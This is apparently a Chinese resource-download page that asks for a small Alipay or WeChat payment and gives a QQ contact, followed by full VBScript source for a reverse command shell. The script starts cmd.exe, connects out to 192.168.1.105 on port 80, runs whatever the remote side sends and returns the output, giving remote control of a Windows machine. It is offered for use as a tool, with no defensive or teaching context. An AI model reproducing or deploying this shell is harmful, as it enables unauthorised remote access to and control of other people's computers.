基本信息

---

下载

   友情提示：（无需注册或充值，赞助后即可获取资源下载链接）

---

     嘿，亲！知识可是无价之宝呢，但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下，绝对物超所值哦！如有下载和支付问题，请联系我们QQ(微信同号)：813200300

本次赞助数额为： 2 元　

支付宝支付

微信支付

   源码介绍

---

'vbscript reverse cmdshell ???
'code by ylbhz@hotmail.com

Set sock = WScript.CreateObject("MSWinsock.Winsock", "sock_")
Set cmd = CreateObject("Wscript.Shell").Exec("cmd")

sock.Connect "192.168.1.105", 80

Sub sock_Connect()
	WScript.Echo "Connected."
	cmd.StdIn.WriteLine(Chr(&H01))
	sock.SendData GetStdOut
End Sub

Sub sock_DataArrival(Byval b)
    Dim data
    sock.GetData data, vbString
    If LCase(Left(data, 4)) = "exit" Then ExitShell
    cmd.StdIn.Write(data)
    cmd.StdIn.WriteLine(Chr(&H01))
    sock.SendData GetStdOut
End Sub

Sub sock_Error(number, Description, Scode, Source, HelpFile, HelpContext, CancelDisplay)
	Wscript.Echo Description
	Wscript.Quit
End Sub

Do
	Wscript.Sleep 1
Loop

Function GetStdOut
	Dim strline
	Dim strout
	Do
		strline = cmd.StdOut.Read(1)
		If Asc(strline) = &H01 Then Exit Do
		strout = strout & strline
	Loop
	GetStdOut = strout
End Function

Sub ExitShell
	WScript.Echo "Terminate cmd process."
	cmd.Terminate
	WScript.Echo "Close socket."
	sock.Close
	WScript.Quit
End Sub